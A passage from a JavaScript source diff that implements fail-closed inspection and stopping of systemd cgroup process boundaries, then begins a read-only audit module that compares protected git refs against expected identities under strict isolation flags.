'worker_boundary_pid_visibility_unknown', + }); + } + if (observed.ns_inode !== expected.ns_inode) { + return freezeProcessIdentityClassification({ + class: 'namespace_mismatch', + pid, + start_ticks: expectedTicks, + nspid: observed.nspid ?? null, + ns_inode: observed.ns_inode, + state, + cgroup, + fail_closed: true, + code: 'worker_boundary_identity_mismatch', + }); + } + } + const ownedCgroup = expectedCgroupOf(expected, boundary); + if (!ownedCgroup) { + return freezeProcessIdentityClassification({ + class: 'visibility_unknown', + pid, + start_ticks: expectedTicks, + nspid: observed.nspid ?? null, + ns_inode: observed.ns_inode ?? null, + state, + cgroup, + fail_closed: true, + code: 'worker_boundary_pid_visibility_unknown', + }); + } + if (EXITED_PROC_STATES.has(state)) { + const exited = boundaryInactiveEmpty(boundary); + return freezeProcessIdentityClassification({ + class: exited ? 'exited' : 'visibility_unknown', + pid, + start_ticks: expectedTicks, + nspid: observed.nspid ?? null, + ns_inode: observed.ns_inode ?? null, + state, + cgroup, + live: false, + exited, + fail_closed: !exited, + cgroup_empty_allowed: exited, + code: exited ? null : 'worker_boundary_pid_visibility_unknown', + }); + } + if (cgroup === ownedCgroup) { + return freezeProcessIdentityClassification({ + class: 'live_in_cgroup', + pid, + start_ticks: expectedTicks, + nspid: observed.nspid ?? null, + ns_inode: observed.ns_inode ?? null, + state, + cgroup, + live: true, + fail_closed: true, + code: 'worker_boundary_not_empty', + }); + } + return freezeProcessIdentityClassification({ + class: 'containment_failure_live_outside_cgroup', + pid, + start_ticks: expectedTicks, + nspid: observed.nspid ?? null, + ns_inode: observed.ns_inode ?? null, + state, + cgroup, + live: true, + fail_closed: true, + code: 'cgroup_not_empty', + }); +} + +async function readProcText(host, file) { + try { + return { ok: true, text: await host.readFile(file) }; + } catch (error) { + return { ok: false, code: error?.code, error }; + } +} + +async function readNsInode(host, pid) { + const file = `/proc/${pid}/ns/pid`; + if (typeof host.readlink !== 'function') return { unavailable: true }; + try { + const parsed = parseNsPidInode(await host.readlink(file)); + return parsed ? { inode: parsed } : { unavailable: true }; + } catch (error) { + if (error?.code === 'ENOENT' || error?.code === 'ESRCH' || error?.code === 'EINVAL') return { unavailable: true }; + return { unreadable: true }; + } +} + +export async function observeExactProcessIdentity(pid, { adapter } = {}) { + const host = requireAdapter(adapter); + const id = Number(pid); + if (!Number.isSafeInteger(id) || id < 1) { + return Object.freeze({ pid: id, unreadable: true, incomplete: true }); + } + const [statFile, statusFile, cgroupFile] = await Promise.all([ + readProcText(host, `/proc/${id}/stat`), + readProcText(host, `/proc/${id}/status`), + readProcText(host, `/proc/${id}/cgroup`), + ]); + const missing = [statFile, statusFile, cgroupFile].every((entry) => !entry.ok && (entry.code === 'ENOENT' || entry.code === 'ESRCH')); + if (missing) return Object.freeze({ pid: id, missing: true }); + if (!statFile.ok || !statusFile.ok || !cgroupFile.ok) { + const vanished = [statFile, statusFile, cgroupFile].some((entry) => !entry.ok && (entry.code === 'ENOENT' || entry.code === 'ESRCH')); + return Object.freeze({ + pid: id, + unreadable: true, + incomplete: true, + missing: vanished, + }); + } + const parsed = parseProcStat(statFile.text); + const status = parseProcStatus(statusFile.text); + const cgroup = parseProcCgroup(cgroupFile.text); + if (!parsed || !status || !cgroup || parsed.state !== status.state) { + return Object.freeze({ pid: id, unreadable: true, incomplete: true }); + } + const ns = await readNsInode(host, id); + if (ns.unreadable === true) return Object.freeze({ pid: id, unreadable: true, incomplete: true }); + return Object.freeze({ + pid: id, + state: parsed.state, + start_ticks: parsed.start_ticks, + ppid: parsed.ppid, + nspid: status.nspid, + ns_inode: ns.inode, + cgroup, + }); +} + +function normalizeRememberedIdentities(values, expectedLeader) { + const out = []; + const seen = new Set(); + const add = (item) => { + const frozen = freezeExactProcessIdentity(item) ?? (identityPid(item) && identityStartTicks(item) + ? Object.freeze({ + pid: identityPid(item), + start_ticks: identityStartTicks(item), + ...(typeof item.nspid === 'string' && item.nspid.length > 0 ? { nspid: item.nspid } : {}), + ...(typeof item.ns_inode === 'string' && item.ns_inode.length > 0 ? { ns_inode: item.ns_inode } : {}), + ...(typeof item.cgroup === 'string' && item.cgroup.length > 0 ? { cgroup: item.cgroup } : {}), + }) + : null); + if (!frozen) return; + const key = `${frozen.pid}:${frozen.start_ticks}`; + if (seen.has(key)) return; + seen.add(key); + out.push(frozen); + }; + if (Array.isArray(values)) { + for (const item of values) add(item); + } + add(expectedLeader); + return out; +} + +async function snapshotRememberedIdentities(host, pids) { + const remembered = []; + for (const pid of pids ?? []) { + const observed = await observeExactProcessIdentity(pid, { adapter: host }); + if (observed.unreadable === true || observed.incomplete === true) { + fail('worker_boundary_pid_visibility_unknown', 'Owned process-boundary membership could not be identified exactly.'); + } + const identity = freezeExactProcessIdentity(observed); + if (identity) remembered.push(identity); + } + return remembered; +} + +async function rememberedBlockEmpty(host, remembered, boundary) { + for (const expected of remembered) { + const observed = await observeExactProcessIdentity(expected.pid, { adapter: host }); + const classified = classifyExactProcessIdentity({ expected, observed, boundary }); + if (classified.cgroup_empty_allowed === true && classified.fail_closed !== true && classified.live !== true) { + continue; + } + return classified; + } + return null; +} + +function omittedIdentityProperties(properties, { requireControlGroup, allowClearedRuntimeGeneration = false }) { + if (!properties || typeof properties !== 'object') return true; + const required = allowClearedRuntimeGeneration + ? ['Id', 'Description', 'LoadState', 'ActiveState', 'KillMode'] + : ['Id', 'Description', 'LoadState', 'ActiveState', 'KillMode', 'InvocationID']; + for (const key of required) { + if (typeof properties[key] !== 'string' || properties[key].length === 0) return true; + } + if (requireControlGroup && (typeof properties.ControlGroup !== 'string' || properties.ControlGroup.length === 0)) { + return true; + } + return false; +} + +function generationMatches(receipt, properties, { requireControlGroup, allowClearedRuntimeGeneration = false }) { + if (properties.Id !== receipt.unit) return false; + if (properties.KillMode !== 'control-group') return false; + const invocation = properties.InvocationID ?? ''; + const controlGroup = properties.ControlGroup ?? ''; + if (allowClearedRuntimeGeneration) { + if (properties.Description !== receipt.description && properties.Description !== receipt.unit) return false; + if (invocation.length > 0 && invocation !== receipt.invocation_id) return false; + if (controlGroup.length > 0 && controlGroup !== receipt.control_group) return false; + return true; + } + if (properties.Description !== receipt.description) return false; + if (invocation !== receipt.invocation_id) return false; + if (requireControlGroup && controlGroup !== receipt.control_group) return false; + if (!requireControlGroup && controlGroup && controlGroup !== receipt.control_group) return false; + return true; +} + +function observedGenerationForEmptyProof(shownUnit, receipt) { + if (shownUnit?.found !== true || !shownUnit.properties) return {}; + const description = shownUnit.properties.Description; + return { + observed_unit: shownUnit.properties.Id, + observed_invocation_id: shownUnit.properties.InvocationID, + observed_description: description === receipt.unit ? undefined : description, + }; +} + +function ownedGenerationStillExact(receipt, properties, { live }) { + const allowClearedRuntimeGeneration = live !== true; + if (omittedIdentityProperties(properties, { + requireControlGroup: live === true, + allowClearedRuntimeGeneration, + })) { + return false; + } + return generationMatches(receipt, properties, { + requireControlGroup: live === true, + allowClearedRuntimeGeneration, + }); +} + +async function inspectCgroupPath(host, controlGroup) { + const eventsPath = `${CGROUP_ROOT}${controlGroup}/cgroup.events`; + const procsPath = `${CGROUP_ROOT}${controlGroup}/cgroup.procs`; + let events; + try { + events = await host.readFile(eventsPath); + } catch (error) { + if (error?.code === 'ENOENT') return { present: false, populated: false, members: [], visibility: 'complete' }; + return { present: true, populated: null, members: null, visibility: 'unknown', code: 'worker_boundary_inspect_failed' }; + } + const parsed = parsePopulated(events); + if (!parsed.ok) { + return { present: true, populated: null, members: null, visibility: 'unknown', code: 'worker_boundary_inspect_failed' }; + } + let procsText; + try { + procsText = await host.readFile(procsPath); + } catch (error) { + if (error?.code === 'ENOENT') { + return parsed.populated + ? { present: true, populated: true, members: null, visibility: 'unknown', code: 'worker_boundary_membership_unknown' } + : { present: false, populated: false, members: [], visibility: 'complete' }; + } + return { present: true, populated: parsed.populated, members: null, visibility: 'unknown', code: 'worker_boundary_membership_unknown' }; + } + const members = parseCgroupProcs(procsText); + if (members == null) { + return { present: true, populated: parsed.populated, members: null, visibility: 'unknown', code: 'worker_boundary_membership_unknown' }; + } + if (parsed.populated && members.length === 0) { + return { present: true, populated: true, members: null, visibility: 'unknown', code: 'worker_boundary_membership_unknown' }; + } + if (!parsed.populated && members.length > 0) { + return { present: true, populated: null, members, visibility: 'unknown', code: 'worker_boundary_inspect_failed' }; + } + return { present: true, populated: parsed.populated, members, visibility: 'complete' }; +} + +async function inspectProcMember(host, pid, controlGroup) { + try { + const [statText, cgroupText] = await Promise.all([ + host.readFile(`/proc/${pid}/stat`), + host.readFile(`/proc/${pid}/cgroup`), + ]); + const parsed = parseProcStat(statText); + const cgroup = parseProcCgroup(cgroupText); + if (!parsed || !cgroup) { + return { pid, visible: false, unknown: true, code: 'worker_boundary_pid_visibility_unknown' }; + } + if (cgroup !== controlGroup) { + return { pid, visible: true, unknown: false, identity_mismatch: true, start_ticks: parsed.start_ticks, ppid: parsed.ppid, cgroup }; + } + return { pid, visible: true, unknown: false, start_ticks: parsed.start_ticks, ppid: parsed.ppid, cgroup }; + } catch (error) { + if (error?.code === 'ENOENT' || error?.code === 'ESRCH') { + return { pid, visible: false, missing: true }; + } + return { pid, visible: false, unknown: true, code: 'worker_boundary_pid_visibility_unknown' }; + } +} + +function leaderFromRuntime(expectedLeader) { + if (!expectedLeader || typeof expectedLeader !== 'object' || Array.isArray(expectedLeader)) return null; + const pid = Number(expectedLeader.pid); + const ticks = expectedLeader.process_start_ticks; + if (!Number.isSafeInteger(pid) || pid < 2 || typeof ticks !== 'string' || ticks.length === 0) return null; + return { pid, process_start_ticks: ticks }; +} + +function membersRootedInLeader(members, leaderPid) { + const byPid = new Map(members.map((member) => [member.pid, member])); + for (const member of members) { + if (member.pid === leaderPid) continue; + const seen = new Set(); + let current = member; + let rooted = false; + while (current && !seen.has(current.pid)) { + seen.add(current.pid); + if (current.pid === leaderPid) { + rooted = true; + break; + } + const parent = byPid.get(current.ppid); + if (!parent) { + // Reparented descendants remain task-owned when they still sit in the + // exact cgroup; they are not proof of a foreign identity. + rooted = true; + break; + } + current = parent; + } + if (!rooted) return false; + } + return true; +} + +export async function inspectExactProcessBoundary(receipt, { adapter, expectedLeader, rememberedIdentities } = {}) { + const host = requireAdapter(adapter); + let normalized; + try { + requireLinux(host); + const legacyScope = receipt?.boundary === 'systemd-user-scope-cgroup'; + normalized = receiptFromRecord(receipt, legacyScope ? 'systemd-user-scope-cgroup' : 'systemd-user-service-cgroup'); + } catch (error) { + return freezeBoundaryInspection({ + state: 'unknown', + found: false, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: error?.code === 'linux_required' || error?.code === 'posix_uid_required' + ? 'worker_boundary_inspect_failed' + : (error?.code ?? 'invalid_receipt'), + receipt, + }); + } + + const remembered = normalizeRememberedIdentities(rememberedIdentities, expectedLeader); + const proveInactiveEmpty = async (shownUnit) => { + const blocked = await rememberedBlockEmpty(host, remembered, { + expected_cgroup: normalized.control_group, + unit_inactive: true, + cgroup_empty: true, + expected_unit: normalized.unit, + expected_invocation_id: normalized.invocation_id, + expected_description: normalized.description, + ...observedGenerationForEmptyProof(shownUnit, normalized), + }); + if (blocked) { + return freezeBoundaryInspection({ + state: 'unknown', + found: shownUnit?.found === true, + empty: false, + active_state: shownUnit?.properties?.ActiveState ?? null, + populated: false, + members: [], + identity_matched: blocked.class !== 'identity_mismatch' + && blocked.class !== 'pid_reuse' + && blocked.class !== 'namespace_mismatch', + visibility: blocked.class === 'visibility_unknown' ? 'unknown' : 'complete', + stop_allowed: false, + code: blocked.code ?? 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + return freezeBoundaryInspection({ + state: 'inactive_empty', + found: shownUnit?.found === true, + empty: true, + active_state: shownUnit?.properties?.ActiveState ?? null, + main_pid: Number(shownUnit?.properties?.MainPID) || 0, + populated: false, + members: [], + identity_matched: true, + visibility: 'complete', + stop_allowed: false, + receipt: normalized, + }); + }; + + let shown; + try { + shown = await showUnit(host, normalized.unit); + } catch { + return freezeBoundaryInspection({ + state: 'unknown', + found: false, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + + const cgroup = await inspectCgroupPath(host, normalized.control_group); + if (cgroup.visibility === 'unknown') { + return freezeBoundaryInspection({ + state: 'unknown', + found: shown.found, + empty: null, + active_state: shown.properties?.ActiveState ?? null, + populated: cgroup.populated, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: cgroup.code ?? 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + + if (!shown.found) { + if (cgroup.visibility === 'complete' && cgroup.populated === false) { + return proveInactiveEmpty(shown); + } + return freezeBoundaryInspection({ + state: 'unknown', + found: false, + empty: false, + populated: cgroup.populated, + members: cgroup.members ?? [], + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + + const activeState = shown.properties.ActiveState; + const live = ACTIVE_UNIT_STATES.has(activeState); + const idle = INACTIVE_UNIT_STATES.has(activeState); + if (!live && !idle) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + active_state: activeState, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + // Inactive/failed transient shells may still be queryable after systemd + // clears runtime generation fields such as InvocationID. That may prove + // inactive_empty only with a receipt captured while active, an absent or + // complete unpopulated exact cgroup, and no live remembered identity. + if (!ownedGenerationStillExact(normalized, shown.properties, { live })) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + active_state: activeState, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + + if (idle) { + if (cgroup.present && cgroup.populated) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + populated: true, + identity_matched: true, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_not_empty', + receipt: normalized, + }); + } + return proveInactiveEmpty(shown); + } + + if (!cgroup.populated) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: true, + active_state: activeState, + populated: false, + identity_matched: true, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + receipt: normalized, + }); + } + + const leader = leaderFromRuntime(expectedLeader); + const mainPid = Number(shown.properties.MainPID); + if (!leader || !Number.isSafeInteger(mainPid) || mainPid < 2 || mainPid !== leader.pid) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: Number.isSafeInteger(mainPid) ? mainPid : null, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: leader && Number.isSafeInteger(mainPid) && mainPid >= 2 && mainPid !== leader.pid + ? 'worker_boundary_identity_mismatch' + : 'worker_boundary_pid_visibility_unknown', + receipt: normalized, + }); + } + if (!Array.isArray(cgroup.members) || !cgroup.members.includes(leader.pid)) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_membership_unknown', + receipt: normalized, + }); + } + + const inspectedMembers = []; + for (const pid of cgroup.members) { + const member = await inspectProcMember(host, pid, normalized.control_group); + if (member.unknown || member.missing) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: member.code ?? 'worker_boundary_pid_visibility_unknown', + receipt: normalized, + }); + } + if (member.identity_mismatch) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + inspectedMembers.push(member); + } + + const leaderMember = inspectedMembers.find((member) => member.pid === leader.pid); + if (!leaderMember || leaderMember.start_ticks !== leader.process_start_ticks) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + if (!membersRootedInLeader(inspectedMembers, leader.pid)) { + return freezeBoundaryInspection({ + state: 'unknown', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: false, + visibility: 'unknown', + stop_allowed: false, + code: 'worker_boundary_identity_mismatch', + receipt: normalized, + }); + } + + return freezeBoundaryInspection({ + state: 'active', + found: true, + empty: false, + active_state: activeState, + main_pid: mainPid, + populated: true, + members: cgroup.members, + identity_matched: true, + visibility: 'complete', + stop_allowed: true, + receipt: normalized, + }); +} + +export async function stopExactProcessBoundary(receipt, { + adapter, + expectedLeader, + rememberedIdentities, + timeoutMs = PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.exact_unit_stop_and_empty_proof, +} = {}) { + if (!Number.isSafeInteger(timeoutMs) || timeoutMs < 100) fail('invalid_timeout', 'timeoutMs must be at least 100ms.'); + const host = requireAdapter(adapter); + const initial = await inspectExactProcessBoundary(receipt, { adapter: host, expectedLeader, rememberedIdentities }); + if (initial.state === 'inactive_empty') { + return Object.freeze({ + stopped: true, + cgroup_empty: true, + state: 'inactive_empty', + forced: false, + idempotent: true, + }); + } + if (initial.state !== 'active' || initial.stop_allowed !== true) { + fail(initial.code ?? 'worker_boundary_inspect_failed', 'Exact process-boundary stop is refused without complete task-owned identity.'); + } + const remembered = [ + ...normalizeRememberedIdentities(rememberedIdentities, expectedLeader), + ...await snapshotRememberedIdentities(host, initial.members), + ]; + await systemctlAction(host, ['--user', 'stop', initial.receipt.unit], timeoutMs); + const deadline = Date.now() + timeoutMs; + let latest = initial; + while (Date.now() < deadline) { + latest = await inspectExactProcessBoundary(initial.receipt, { + adapter: host, + expectedLeader, + rememberedIdentities: remembered, + }); + if (latest.state === 'inactive_empty') { + return Object.freeze({ + stopped: true, + cgroup_empty: true, + state: 'inactive_empty', + forced: false, + idempotent: false, + }); + } + if (latest.state !== 'active' && latest.state !== 'inactive_empty') { + fail(latest.code ?? 'worker_boundary_inspect_failed', 'Exact process-boundary stop lost identity or visibility before empty proof.'); + } + await host.sleep(PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.cgroup_poll_interval); + } + fail('cgroup_not_empty', 'Owned systemd process boundary still has descendants after exact unit stop.'); +} diff --git a/plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs b/plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs new file mode 100644 index 0000000..cea79e1 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/protected-ref-audit.mjs @@ -0,0 +1,1183 @@ +// ProtectedRefAuditV1 — live read-only comparison of declared +// protected/default refs against immutable expected identities (P30; +// ADR 0001 `gate_a_no_protected_ref_mutation`). +// +// Additive v3 module. It consumes accepted P28 GitAuthorityPolicyV1 and +// P29 credential/remote isolation without wrapping or weakening them. +// Observation is argv-only under the P29 inspect environment with +// isolation flags that cannot create advisory lock files. Receipts and +// errors are content-free: they never echo repository paths, URLs, +// credentials, provider text, or hostile refs. No Git mutation, no +// credential materialization, no remote I/O, no API, no run +// orchestration, no release, and no Gate A authority. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { lstat as nodeLstat, readFile as nodeReadFile, realpath as nodeRealpath } from 'node:fs/promises'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { + GIT_INSPECT_ENV, + CredentialBoundaryError, + denyWorkerRemoteMutation, +} from './credential-boundary.mjs'; +import { + MAX_DURATION_MS, + MAX_SEQUENCE, + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, +} from './evidence-bundle.mjs'; +import { + ACTOR_VALUES, + DENIED_OPERATIONS, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyRefV1, + isProtectedRefV1, + parseGitAuthorityPolicyV1, +} from './git-authority.mjs'; +import { + GIT_EXECUTABLE, + MAX_GIT_ARG_BYTES, + MAX_GIT_OUTPUT_BYTES, + MAX_GIT_TIME_MS, + MAX_GIT_TOTAL_TIME_MS, +} from './git-identity.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { RunContractV1Error, isSha40 } from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const PROTECTED_REF_AUDIT_SCHEMA_ID = 'codex-co-engineer.protected-ref-audit.v1'; +export const PROTECTED_REF_AUDIT_VERSION = 1; +export const MAX_AUDIT_REFS = 16; +export const MAX_AUDIT_OBJECT_KEYS = 32; +export const MAX_AUDIT_KEY_BYTES = 128; +export const MAX_AUDIT_GIT_COMMANDS = 8; +export const MAX_AUDIT_GIT_ARGS = 64; +export const MAX_LAYOUT_FILE_BYTES = 4096; + +export const PROTECTED_REF_AUDIT_STATUSES = capturedFreeze(['failed', 'verified']); +export const PROTECTED_REF_AUDIT_REPOSITORY_KINDS = capturedFreeze([ + 'bare', 'linked_worktree', 'local', +]); +export const PROTECTED_REF_AUDIT_STORAGE_CLASSES = capturedFreeze([ + 'absent', 'loose', 'packed', 'symbolic', 'unknown', +]); +export const PROTECTED_REF_AUDIT_FINDING_CODES = capturedFreeze([ + 'aliased_ref', 'hostile_ref', 'missing_ref', 'moved_ref', 'packed_ref', + 'race_detected', 'symbolic_ref', +]); +export const PROTECTED_REF_AUDIT_FAILING_CODES = capturedFreeze([ + 'aliased_ref', 'hostile_ref', 'missing_ref', 'moved_ref', 'race_detected', + 'symbolic_ref', +]); +export const PROTECTED_REF_AUDIT_READONLY_GIT_COMMANDS = capturedFreeze([ + 'for-each-ref', 'rev-parse', +]); +export const PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'config_mutated', 'credentials_accessed', 'index_mutated', + 'packed_refs_rewritten', 'ref_mutated', 'remote_mutated', 'worktree_mutated', +]); +export const PROTECTED_REF_AUDIT_CHECKS = capturedFreeze([ + 'request_quarantine', + 'p28_authority_policy', + 'p29_remote_mutation_denial', + 'protected_or_default_only', + 'canonical_repository', + 'replace_and_graft_absence', + 'declared_ref_snapshot', + 'packed_vs_loose_storage', + 'race_repeat_snapshot', +]); + +export const REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'default_branch', 'expected_refs', 'identity', 'init_default_branch', + 'manifest_digest_hex', 'operation', 'origin_head_branch', 'schema', + 'sequence', 'version', +]); +export const REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'expected_refs', 'identity', 'schema', 'version', +]); +export const EXPECTED_REF_ALLOWED_KEYS = capturedFreeze(['ref', 'sha']); +export const OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); +export const COMPARISON_KEYS = capturedFreeze([ + 'default_branch_target', 'outcome', 'protected', 'ref_class', 'storage', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'comparisons', 'discrepancies', 'facts', + 'findings', 'observation', 'observed_classes', 'repository_kind', 'run_id', + 'schema', 'side_effects', 'status', 'version', +]); + +export const PROTECTED_REF_AUDIT_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', + 'audit_operation_denied', 'authority_identity_invalid', 'bounds_exceeded', + 'config_influence_denied', 'credential_content_denied', + 'env_influence_denied', 'exotic_prototype_denied', + 'expected_ref_not_protected', 'grafts_denied', 'git_execution_failed', + 'hostile_name_denied', 'invalid_format', 'invalid_type', 'missing_key', + 'non_enumerable_property_denied', 'out_of_range', 'own_undefined_denied', + 'proxy_denied', 'replace_refs_denied', 'remote_mutation_denied', + 'repository_invalid', 'repository_missing', 'symbol_key_denied', + 'unknown_key', 'value_depth_exceeded', +]); + +const SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const TRUE_FALSE_PATTERN = /^(?:true|false)$/u; +const OBJECT_TYPE_PATTERN = /^(?:blob|commit|tag|tree)$/u; +const GITDIR_LINE_PATTERN = /^gitdir:[ \t]*(.+)$/u; + +const DEFINE = Object.defineProperty; +const OBJECT_IS = Object.is; +const IS_INT = Number.isSafeInteger; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const IS_ARRAY = Array.isArray; +const OWN_KEYS = Reflect.ownKeys; +const SET_CTOR = Set; +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const IS_PROXY = utilTypes.isProxy; +const REFLECT_APPLY = Reflect.apply; +const ARRAY_PUSH = Array.prototype.push; +const PATH_JOIN = path.join; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_RESOLVE = path.resolve; +const SPAWN = nodeSpawn; +const LSTAT = nodeLstat; +const READFILE = nodeReadFile; +const REALPATH = nodeRealpath; +const MATH_MIN = Math.min; +const MATH_MAX = Math.max; +const MATH_FLOOR = Math.floor; + +const GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', +]); + +const FORBIDDEN_ENV_KEYS = capturedFreeze([ + 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', + 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', + 'GIT_NAMESPACE', 'GIT_CONFIG', 'GIT_CONFIG_COUNT', 'GIT_CONFIG_PARAMETERS', + 'GIT_REPLACE_REF_BASE', 'GIT_GRAFT_FILE', 'GIT_QUARANTINE_PATH', + 'GIT_PROXY_COMMAND', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GIT_TRACE', + 'GIT_TRACE2', 'GIT_EXEC_PATH', 'GIT_TEMPLATE_DIR', +]); + +const MSG = capturedFreeze({ + accessor_property_denied: 'ProtectedRefAuditV1 denies accessor inputs.', + aliased_reference_denied: 'ProtectedRefAuditV1 denies aliased inputs.', + audit_operation_denied: 'ProtectedRefAuditV1 permits read-only inspect only.', + authority_identity_invalid: 'ProtectedRefAuditV1 rejected the credential-free repository identity.', + bounds_exceeded: 'ProtectedRefAuditV1 exceeded a closed observation bound.', + config_influence_denied: 'ProtectedRefAuditV1 denies config, replace, or graft influence.', + credential_content_denied: 'ProtectedRefAuditV1 denies credentials and remote mutation material.', + env_influence_denied: 'ProtectedRefAuditV1 denies git environment influence.', + exotic_prototype_denied: 'ProtectedRefAuditV1 denies exotic prototypes.', + expected_ref_not_protected: 'ProtectedRefAuditV1 audits only P28 protected or default refs.', + grafts_denied: 'ProtectedRefAuditV1 denies grafts and shallow history.', + git_execution_failed: 'ProtectedRefAuditV1 could not complete a git observation.', + hostile_name_denied: 'ProtectedRefAuditV1 denied a hostile ref or argument.', + invalid_format: 'ProtectedRefAuditV1 rejected a value that violates a closed grammar.', + invalid_type: 'ProtectedRefAuditV1 rejected a non-JSON audit value.', + missing_key: 'ProtectedRefAuditV1 requires every canonical audit key.', + non_enumerable_property_denied: 'ProtectedRefAuditV1 denies non-enumerable properties.', + out_of_range: 'ProtectedRefAuditV1 rejected a value outside closed bounds.', + own_undefined_denied: 'ProtectedRefAuditV1 denies own undefined values.', + proxy_denied: 'ProtectedRefAuditV1 denies Proxy inputs.', + replace_refs_denied: 'ProtectedRefAuditV1 denies replace refs.', + remote_mutation_denied: 'ProtectedRefAuditV1 denies remote mutation and credential access.', + repository_invalid: 'ProtectedRefAuditV1 rejected an untrusted repository layout.', + repository_missing: 'ProtectedRefAuditV1 could not observe the declared repository.', + symbol_key_denied: 'ProtectedRefAuditV1 denies symbol keys.', + unknown_key: 'ProtectedRefAuditV1 rejects keys outside the closed vocabulary.', + value_depth_exceeded: 'ProtectedRefAuditV1 rejected nested input that exceeds closed depth.', +}); + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!capturedHasOwn(values, key)) continue; + DEFINE(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function deny(code, pathLabel) { + fail(code, pathLabel, MSG[code] ?? MSG.invalid_format); +} + +function publicCode(error) { + if (error instanceof RunContractV1Error + && capturedIncludes(PROTECTED_REF_AUDIT_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, pathLabel) { + deny(publicCode(error), pathLabel); +} + +function assertClosedObject(input, allowed, pathLabel) { + if (input === undefined || input === null) deny('invalid_type', pathLabel); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, pathLabel); 